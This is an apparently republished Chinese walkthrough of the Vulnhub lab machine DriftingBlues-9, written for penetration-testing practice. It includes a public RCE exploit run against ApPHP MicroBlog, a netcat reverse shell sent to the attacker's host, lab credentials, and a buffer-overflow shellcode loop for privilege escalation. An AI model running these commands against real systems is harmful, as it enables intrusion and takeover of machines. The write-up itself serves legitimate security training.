当前位置:网站首页>看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
2022-07-03 01:01:00 【落寞的魚丶】
Vulnhub靶机DriftingBlues-9渗透测试详解
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可,可能比较偏向CTF点。
Vulnhub靶机下载:
官网地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover
发现主机
渗透机:kali IP :192.168.205.133 靶机IP :192.168.205.145
使用命令:
nmap -sS -A -T4 -n 192.168.205.145
开启了80
端口和111
端口 老样子先访问80
端口 直接查看源代码 发现了ApPHP MicroBlog
版本 为 v.1.0.1
(第一次遇到)
②:漏洞利用:
使用searchsploit
搜索相关漏洞 第二个就可以利用
使用命令将利用的脚本复制到本地:searchsploit -m php/webapps/33070.py
使用python2
执行脚本:python2 ./33070.py http://192.168.205.145
发现了数据库信息 里面有账号和密码 分别是:clapton/yaraklitepe
使用命令:ls /home
发现和数据用户一样 也可以 cat /etc/passwd
查看是否有nc
: whish nc
③:反弹shell:
在 kali
开启 nc
监听:nc -lvp 6666
在shell
执行:nc 192.168.205.133 6666 -e /bin/bash
使用命令交互shell
:python -c 'import pty;pty.spawn("/bin/bash")'
尝试切换用户 :clapton / yaraklitepe
获取到了第一个flag
④:缓冲区溢出提权:
这里给的提示 缓冲区才是解决方法(什么缓冲区!!!第一次遇到不会pwn)
for i in {
1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
具体参考:https://www.ngui.cc/article/show-373956.html
https://blog.csdn.net/qq_32261191/article/details/117908644
⑤:获取flag:
至此获取到了所有得flag,渗透测试结束。
Vulnhub靶机渗透总结:
①:searchsploit
工具的用法
②:RCE
漏洞利用
③:缓冲区溢出提权(因为没基础所以还不怎么会 后续在学)
这也是DriftingBlues系列最后一个靶机的学习啦,希望大家也可以学习到新的一些知识点和一些渗透测试思路
最后创作不易 希望对大家有所帮助!!
边栏推荐
- 看疫情之下服装企业如何顺势而为
- Linear programming of mathematical modeling (including Matlab code)
- 拥抱平台化交付的安全理念
- The industrial scope of industrial Internet is large enough. The era of consumer Internet is only a limited existence in the Internet industry
- [untitled]
- 按键精灵打怪学习-自动回城路线的判断
- Key wizard play strange learning - multithreaded background coordinate recognition
- RISA rz/g2l processor introduction | frame diagram | power consumption | schematic diagram and hardware design guide
- 正确甄别API、REST API、RESTful API和Web Service之间的异同
- [flutter] icons component (load the built-in icon of flutter | display the material design icon completely)
猜你喜欢
leetcode 6103 — 从树中删除边的最小分数
[C language] branch and loop statements (Part 1)
Foundations of data science is free to download
MySQL
寻找标杆战友 | 百万级实时数据平台,终身免费使用
2022.2.14 resumption
拥抱平台化交付的安全理念
1696C. Fishingprince plays with array [thinking questions + intermediate state + optimized storage]
leetcode:871. 最低加油次数【以前pat做过 + 最大堆 +贪心】
MySQL --- 数据库查询 - 基本查询
随机推荐
Leetcode 2097 - Legal rearrangement of pairs
MySQL --- 数据库查询 - 基本查询
Correctly distinguish the similarities and differences among API, rest API, restful API and web service
电话网络问题
(C language) data storage
MySQL --- 数据库查询 - 条件查询
Soft exam information system project manager_ Real topic over the years_ Wrong question set in the second half of 2019_ Morning comprehensive knowledge question - Senior Information System Project Man
Do not log in or log in to solve the problem that the Oracle database account is locked.
leetcode 6103 — 从树中删除边的最小分数
Key wizard play strange learning - multithreaded background coordinate recognition
如今少年已归来,人间烟火气最抚凡人心 复工了~
[FPGA tutorial case 6] design and implementation of dual port RAM based on vivado core
Matlab Doppler effect produces vibration signal and processing
2022 coal mine gas drainage examination question bank and coal mine gas drainage examination questions and analysis
[自我管理]时间、精力与习惯管理
excel表格计算时间日期的差值,并转化为分钟数
MySQL foundation 04 MySQL architecture
【FH-GFSK】FH-GFSK信号分析与盲解调研究
【C语言】指针与数组笔试题详解
按键精灵打怪学习-回城买药加血